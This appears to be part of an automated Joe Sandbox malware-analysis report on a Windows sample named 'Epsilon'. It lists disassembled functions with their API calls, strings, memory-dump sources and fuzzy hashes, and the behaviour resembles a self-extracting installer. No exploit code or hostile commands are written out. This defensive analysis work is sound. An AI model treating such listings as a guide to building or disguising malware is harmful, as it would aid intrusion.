Opcode ID: 5301e7076f5ef957a13bc7f6d002c3f7f3b9a25b2f64b703cbde4610621febb0
Instruction ID: c63de38df50dabdb3febceca18728c8efd2d96de78b579970c643216d41c3165
Opcode Fuzzy Hash: 5301e7076f5ef957a13bc7f6d002c3f7f3b9a25b2f64b703cbde4610621febb0
Instruction Fuzzy Hash: 86B09210E29406E1DA04BB219C850A057A0BB58306FD00830C00D80120DE1CA1ABA710

Function 00007FF7378270A8 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

CharNextA.USER32 ref: 00007FF737827120
GetModuleFileNameA.KERNEL32 ref: 00007FF7378271FB
CharUpperA.USER32 ref: 00007FF73782723E
CharUpperA.USER32 ref: 00007FF7378272D4
CompareStringA.KERNEL32 ref: 00007FF737827368
CharUpperA.USER32 ref: 00007FF7378273A3
CharUpperA.USER32 ref: 00007FF7378273FF
CharUpperA.USER32 ref: 00007FF737827498
CloseHandle.KERNEL32 ref: 00007FF73782769E
ExitProcess.KERNEL32 ref: 00007FF7378276AC

Strings

RegServer, xrefs: 00007FF737827359
", xrefs: 00007FF737827187
@, xrefs: 00007FF73782767E
:, xrefs: 00007FF737827443

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$:$@$RegServer
API String ID: 1203814774-4077547207
Opcode ID: 6e530289b7fe5922f9cfda438616e34a1a36475502b4d42f4ffce2e3ac89d0b1
Instruction ID: fd7b086e7acdd973c919e42ee0110f147552b8321f96f9b37456afd4c83effdc
Opcode Fuzzy Hash: 6e530289b7fe5922f9cfda438616e34a1a36475502b4d42f4ffce2e3ac89d0b1
Instruction Fuzzy Hash: DE02F361A0C68A61FB64AB2654142F9EFB1EF42746FD80139CB5E066D4CE3DE423E730

Function 00007FF737824A60 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 123libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7378235E3), ref: 00007FF737824A86
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7378235E3), ref: 00007FF737824AAA
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7378235E3), ref: 00007FF737824ACA
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7378235E3), ref: 00007FF737824AEC
GetTempPathA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7378235E3), ref: 00007FF737824B1B
CharPrevA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7378235E3), ref: 00007FF737824B3A
CharPrevA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7378235E3), ref: 00007FF737824B54
FreeLibrary.KERNEL32 ref: 00007FF737824BF1
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7378235E3), ref: 00007FF737824C0D

Strings

SHELL32.DLL, xrefs: 00007FF737824A7F
SHGetPathFromIDList, xrefs: 00007FF737824AE2
SHBrowseForFolder, xrefs: 00007FF737824AA0

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: 2a5ea4b490894db445cb84de2448d12f1af4c9272f9454c89187ac1fef39355e
Instruction ID: 082ad6121fff178517d534747b091db266be9f498aea73cb1061189050af8273
Opcode Fuzzy Hash: 2a5ea4b490894db445cb84de2448d12f1af4c9272f9454c89187ac1fef39355e
Instruction Fuzzy Hash: C8517125A0DB8AA6E740AB11B8101B9FF90FB89B92FC44535DE4E03794DF3CD456E720

Function 00007FF737824DCC Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 159memorywindowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32 ref: 00007FF737824E60
LocalAlloc.KERNEL32 ref: 00007FF737824F61
LocalAlloc.KERNEL32 ref: 00007FF737824F99
MessageBoxA.USER32 ref: 00007FF737824EA0

Part of subcall function 00007FF737827E34: EnumResourceLanguagesA.KERNEL32 ref: 00007FF737827E8C
Part of subcall function 00007FF737827E34: EnumResourceLanguagesA.KERNEL32 ref: 00007FF737827ECA

LocalAlloc.KERNEL32 ref: 00007FF737824EFC
MessageBeep.USER32 ref: 00007FF737824FC2
MessageBoxA.USER32 ref: 00007FF737825007
LocalFree.KERNEL32 ref: 00007FF737825018

Part of subcall function 00007FF737827F04: GetVersionExA.KERNEL32 ref: 00007FF737827F59
Part of subcall function 00007FF737827F04: GetSystemMetrics.USER32 ref: 00007FF737827F93
Part of subcall function 00007FF737827F04: RegOpenKeyExA.ADVAPI32 ref: 00007FF737827FC8
Part of subcall function 00007FF737827F04: RegQueryValueExA.ADVAPI32 ref: 00007FF737828003
Part of subcall function 00007FF737827F04: RegCloseKey.ADVAPI32 ref: 00007FF737828016
Part of subcall function 00007FF737827F04: CharNextA.USER32 ref: 00007FF737828065

Strings

Adv, xrefs: 00007FF737824E91, 00007FF737824FF3
rce., xrefs: 00007FF737824DF7

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: Local$AllocMessage$EnumLanguagesResource$BeepCharCloseFreeLoadMetricsNextOpenQueryStringSystemValueVersion
String ID: Adv$rce.
API String ID: 2929476258-1496161719
Opcode ID: abe435584ecd5f6fe87ce2b456f1e06dda66ab3f9fb72e6f330788004a039cce
Instruction ID: 7e353c84e6e1ace299c242ad6c12fab2a9e936fdf39df127348a91ef954b222a
Opcode Fuzzy Hash: abe435584ecd5f6fe87ce2b456f1e06dda66ab3f9fb72e6f330788004a039cce
Instruction Fuzzy Hash: FF61C121E0C789A6FB11AB21A8003F9EE90AF59B66F845230DE4D53391DF3CE953D720

Function 00007FF73782261C Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 129registryCOMMON

Download Yara Rule

APIs

CharUpperA.USER32 ref: 00007FF737822662
CharNextA.USER32 ref: 00007FF737822674
CharNextA.USER32 ref: 00007FF737822683
RegOpenKeyExA.ADVAPI32 ref: 00007FF737822724
RegQueryValueExA.ADVAPI32 ref: 00007FF73782275B
ExpandEnvironmentStringsA.KERNEL32 ref: 00007FF737822782
RegCloseKey.ADVAPI32 ref: 00007FF7378227B9
GetWindowsDirectoryA.KERNEL32 ref: 00007FF7378227CF
GetSystemDirectoryA.KERNEL32 ref: 00007FF7378227E5

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 00007FF7378226A6

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: Char$DirectoryNext$CloseEnvironmentExpandOpenQueryStringsSystemUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 2659952014-2428544900
Opcode ID: 3b652cf53a0166bf7c173558fb1758d4a4d77de799b7ad200d32d7da73422a7a
Instruction ID: 43699ab7c4641c1ce2e569b31d390a44fbfbf1a4a1921f7c2eecb0b35fdac2f8
Opcode Fuzzy Hash: 3b652cf53a0166bf7c173558fb1758d4a4d77de799b7ad200d32d7da73422a7a
Instruction Fuzzy Hash: C851827260C689A6EB10AF11E8542FABFA0FB8AB92FD55031DA4E03794DF3CD456D710

Function 00007FF7378233F0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 68windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF737823430
GetDesktopWindow.USER32 ref: 00007FF737823441
SetDlgItemTextA.USER32 ref: 00007FF737823467
SetWindowTextA.USER32 ref: 00007FF73782347D
SetForegroundWindow.USER32 ref: 00007FF73782348C
GetDlgItem.USER32 ref: 00007FF7378234A0
GetWindowLongPtrA.USER32 ref: 00007FF7378234B7
SetWindowLongPtrA.USER32 ref: 00007FF7378234D9
SendDlgItemMessageA.USER32 ref: 00007FF73782350A

Strings

Adv, xrefs: 00007FF737823473

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID: Adv
API String ID: 3785188418-921584719
Opcode ID: 5437c451f9b0f03a7d5304c51dea48bd08e1932c988bfe6d4e908a474b1ba20e
Instruction ID: d1e1e005cb716328b2c3e2067a28500b1f8a82ae24270875017aec5d22fe5fd6
Opcode Fuzzy Hash: 5437c451f9b0f03a7d5304c51dea48bd08e1932c988bfe6d4e908a474b1ba20e
Instruction Fuzzy Hash: A8314131E0C64A96E6106B24E8142F4FFA1FB8EB52FD49270C91E52794CF3CA067E720

Function 00007FF7378212EC Relevance: 16.6, APIs: 11, Instructions: 125memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7378211CC: LoadLibraryA.KERNEL32 ref: 00007FF737821209
Part of subcall function 00007FF7378211CC: GetProcAddress.KERNEL32 ref: 00007FF73782122B
Part of subcall function 00007FF7378211CC: AllocateAndInitializeSid.ADVAPI32 ref: 00007FF737821278
Part of subcall function 00007FF7378211CC: FreeSid.ADVAPI32 ref: 00007FF7378212A0
Part of subcall function 00007FF7378211CC: FreeLibrary.KERNEL32 ref: 00007FF7378212AF

GetCurrentProcess.KERNEL32 ref: 00007FF73782134D
OpenProcessToken.ADVAPI32 ref: 00007FF737821363
GetTokenInformation.ADVAPI32 ref: 00007FF73782138C
GetLastError.KERNEL32 ref: 00007FF7378213A0
LocalAlloc.KERNEL32 ref: 00007FF7378213BA
GetTokenInformation.ADVAPI32 ref: 00007FF7378213E8
AllocateAndInitializeSid.ADVAPI32 ref: 00007FF737821435
EqualSid.ADVAPI32 ref: 00007FF737821460
FreeSid.ADVAPI32 ref: 00007FF737821485
LocalFree.KERNEL32 ref: 00007FF737821494
CloseHandle.KERNEL32 ref: 00007FF7378214A4

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: 6813b6756910e0ae34933596af1690bcf55f2b4d44473aa3a3cec1d83aee30ca
Instruction ID: e34e303f576afb4efee1bba62db2be3fee51b96e6518a45865f41535e1c318da
Opcode Fuzzy Hash: 6813b6756910e0ae34933596af1690bcf55f2b4d44473aa3a3cec1d83aee30ca
Instruction Fuzzy Hash: 94517032A08A45DAE720AF21E4501F9BFA4FB4DB89F925135DA0E53754DF38E426DB10

Function 00007FF737827F04 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00007FF737827F59
GetSystemMetrics.USER32 ref: 00007FF737827F93
RegOpenKeyExA.ADVAPI32 ref: 00007FF737827FC8
RegQueryValueExA.ADVAPI32 ref: 00007FF737828003
RegCloseKey.ADVAPI32 ref: 00007FF737828016
CharNextA.USER32 ref: 00007FF737828065

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 00007FF737827FBA

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-1109908249
Opcode ID: 3b2a06a11d2becce3ce338110b622480474f8ae87116164a32f9474e2bd7df5d
Instruction ID: 8e7379a32292f0ff9aed61b99defaebe7aa125ec0b97537aad9cbb1532ff11bb
Opcode Fuzzy Hash: 3b2a06a11d2becce3ce338110b622480474f8ae87116164a32f9474e2bd7df5d
Instruction Fuzzy Hash: E151A332A0CA89AAEB109B64D4401FDFBE0FB88B52F854532DA5D13794DF3CE556EB10

Function 00007FF737822834 Relevance: 12.2, APIs: 8, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32 ref: 00007FF737822A44

Part of subcall function 00007FF73782261C: CharUpperA.USER32 ref: 00007FF737822662
Part of subcall function 00007FF73782261C: CharNextA.USER32 ref: 00007FF737822674
Part of subcall function 00007FF73782261C: CharNextA.USER32 ref: 00007FF737822683
Part of subcall function 00007FF73782261C: RegOpenKeyExA.ADVAPI32 ref: 00007FF737822724
Part of subcall function 00007FF73782261C: RegQueryValueExA.ADVAPI32 ref: 00007FF73782275B
Part of subcall function 00007FF73782261C: ExpandEnvironmentStringsA.KERNEL32 ref: 00007FF737822782
Part of subcall function 00007FF73782261C: RegCloseKey.ADVAPI32 ref: 00007FF7378227B9

GetFileVersionInfoSizeA.VERSION ref: 00007FF7378228AC
GlobalAlloc.KERNEL32 ref: 00007FF7378228C9
GlobalLock.KERNEL32 ref: 00007FF7378228E4
GetFileVersionInfoA.VERSION ref: 00007FF73782290C
VerQueryValueA.VERSION ref: 00007FF737822932
GlobalUnlock.KERNEL32 ref: 00007FF7378229DC
GlobalUnlock.KERNEL32 ref: 00007FF7378229F0

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: Global$Char$FileInfoNextQueryUnlockValueVersion$AllocCloseEnvironmentExpandFreeLockOpenSizeStringsUpper
String ID:
API String ID: 1051330783-0
Opcode ID: 6d4c51d06f972b13cb99adb0e904218bc9eace2558dcc6cb5054029ba0357b51
Instruction ID: ce1dbcfc39096496239755b1570651013e2c61edb86705e934ebccfa430fd4a6
Opcode Fuzzy Hash: 6d4c51d06f972b13cb99adb0e904218bc9eace2558dcc6cb5054029ba0357b51
Instruction Fuzzy Hash: 94518532A0C64AAAEB509F1594006F8BFA4FB48B96F955131DE0D63794DF3CE463D720

Function 00007FF737822A6C Relevance: 12.1, APIs: 8, Instructions: 126COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF737822AB2
IsDBCSLeadByte.KERNEL32 ref: 00007FF737822ACE
CharNextA.USER32 ref: 00007FF737822AF4
CharUpperA.USER32 ref: 00007FF737822B07
CharPrevA.USER32 ref: 00007FF737822B43
CharUpperA.USER32 ref: 00007FF737822B9F
CharNextA.USER32 ref: 00007FF737822BF9
CharNextA.USER32 ref: 00007FF737822C0B

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: Char$Next$Upper$ByteFileLeadModuleNamePrev
String ID:
API String ID: 975904313-0
Opcode ID: 2979d283a01604d961735a48130beb2dfdd98dda21d4e4b67344f999235a94dc
Instruction ID: 879cd6f74b21e8fb00665b72c2f06831920b31cad91ca6110b9d08b7bdafe735
Opcode Fuzzy Hash: 2979d283a01604d961735a48130beb2dfdd98dda21d4e4b67344f999235a94dc
Instruction Fuzzy Hash: 2751A661A0C6CDA5FB216F2594003F8EF91AB4DBA2FC98171CA8E07795CE3CD4679720

Function 00007FF737823F74 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 71memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF737825050: FindResourceExA.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF737825078
Part of subcall function 00007FF737825050: SizeofResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF737825089
Part of subcall function 00007FF737825050: FindResourceA.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250AF
Part of subcall function 00007FF737825050: LoadResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250C0
Part of subcall function 00007FF737825050: LockResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250CF
Part of subcall function 00007FF737825050: memcpy_s.MSVCRT ref: 00007FF7378250EE
Part of subcall function 00007FF737825050: FreeResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250FD

LocalAlloc.KERNEL32(?,?,?,?,?,00007FF737823139), ref: 00007FF737823F95
LocalFree.KERNEL32 ref: 00007FF737824018

Part of subcall function 00007FF737824DCC: LoadStringA.USER32 ref: 00007FF737824E60
Part of subcall function 00007FF737824DCC: MessageBoxA.USER32 ref: 00007FF737824EA0

Part of subcall function 00007FF737827700: GetLastError.KERNEL32 ref: 00007FF737827704

lstrcmpA.KERNEL32(?,?,?,?,?,00007FF737823139), ref: 00007FF73782403E
LocalFree.KERNEL32(?,?,?,?,?,00007FF737823139), ref: 00007FF73782409F

Part of subcall function 00007FF737827AC8: FindResourceA.KERNEL32 ref: 00007FF737827AF2
Part of subcall function 00007FF737827AC8: LoadResource.KERNEL32 ref: 00007FF737827B09
Part of subcall function 00007FF737827AC8: DialogBoxIndirectParamA.USER32 ref: 00007FF737827B3F
Part of subcall function 00007FF737827AC8: FreeResource.KERNEL32 ref: 00007FF737827B51

LocalFree.KERNEL32 ref: 00007FF737824078

Strings

LICENSE, xrefs: 00007FF737823F7D, 00007FF737823FE0
<None>, xrefs: 00007FF737824037

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: c1ca9a88813ebfd35d576e9851fc4e2efdb847e2dd01f63958537ee31114ed88
Instruction ID: 404750afa5604cb55271e57821e7a1fb557a0423a6f2667c6dbd53c1f524f891
Opcode Fuzzy Hash: c1ca9a88813ebfd35d576e9851fc4e2efdb847e2dd01f63958537ee31114ed88
Instruction Fuzzy Hash: D2317C32A1D60AA6F750BF20E4147F9BE60FB88746FC04134C90D566A0DF7DA427AB30

Function 00007FF73782772C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73782114C: _vsnprintf.MSVCRT ref: 00007FF737821189

LoadResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF73782606F), ref: 00007FF737827763
LockResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF73782606F), ref: 00007FF737827772
FreeResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF73782606F), ref: 00007FF7378277B8
FindResourceA.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF73782606F), ref: 00007FF7378277EC
FreeResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF73782606F), ref: 00007FF737827805

Strings

UPDFILE%lu, xrefs: 00007FF7378277C9

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: Resource$Free$FindLoadLock_vsnprintf
String ID: UPDFILE%lu
API String ID: 2922116661-2329316264
Opcode ID: 5da28ac000a46b9a165e15456f701c43c89cc60981a221babc32eae9389c35de
Instruction ID: 9f57d9e7bba329b09ed4c9700e44ae832dc3e75ebfc6725b3b582ff167689714
Opcode Fuzzy Hash: 5da28ac000a46b9a165e15456f701c43c89cc60981a221babc32eae9389c35de
Instruction Fuzzy Hash: 2B318432A0CA49D6E710AB25A4001F9FFA1FF89B51F959635DA5E03794CF3CE416D710

Function 00007FF737822244 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32 ref: 00007FF737822271
WritePrivateProfileStringA.KERNEL32 ref: 00007FF7378222A0
_lopen.KERNEL32 ref: 00007FF7378222B4
_llseek.KERNEL32 ref: 00007FF7378222CF
_lclose.KERNEL32 ref: 00007FF7378222DF

Strings

wininit.ini, xrefs: 00007FF737822281

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: 199b65378ca9828830684770953ab38004a5dc8256a53cff6ace6da1301a0c22
Instruction ID: 52a54e7f412f9003e28c6a1c813a2aa7f9bf50341d7e316f8427828a3493639c
Opcode Fuzzy Hash: 199b65378ca9828830684770953ab38004a5dc8256a53cff6ace6da1301a0c22
Instruction Fuzzy Hash: 52116D32608A8597E720AF21E8442F9FBA1FBCC706FC58131DA4E43654DF3CD51ADA10

Function 00007FF737823840 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00007FF73782388E
SetWindowTextA.USER32 ref: 00007FF7378238AF
SetDlgItemTextA.USER32 ref: 00007FF7378238CA
SetForegroundWindow.USER32 ref: 00007FF7378238D9
EndDialog.USER32 ref: 00007FF7378238EC

Strings

Adv, xrefs: 00007FF7378238A5

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: Window$Text$DesktopDialogForegroundItem
String ID: Adv
API String ID: 761066910-921584719
Opcode ID: db38f3c764be4f10092f313c704ee52b3d278942d11ca53377af995edae986b7
Instruction ID: 8ec8c43369dbddbb7f7945976f2068f4f4ca9d65cd4849c467393f7ee5ccd0d6
Opcode Fuzzy Hash: db38f3c764be4f10092f313c704ee52b3d278942d11ca53377af995edae986b7
Instruction Fuzzy Hash: 11117060E0C74AA6F7543B55A4182F8EE50EB8EB43FD49030C90E1A794CF3CA467E720

Function 00007FF73782494C Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF737825050: FindResourceExA.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF737825078
Part of subcall function 00007FF737825050: SizeofResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF737825089
Part of subcall function 00007FF737825050: FindResourceA.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250AF
Part of subcall function 00007FF737825050: LoadResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250C0
Part of subcall function 00007FF737825050: LockResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250CF
Part of subcall function 00007FF737825050: memcpy_s.MSVCRT ref: 00007FF7378250EE
Part of subcall function 00007FF737825050: FreeResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250FD

LocalAlloc.KERNEL32(?,?,?,?,00000000,00007FF737823388), ref: 00007FF737824975
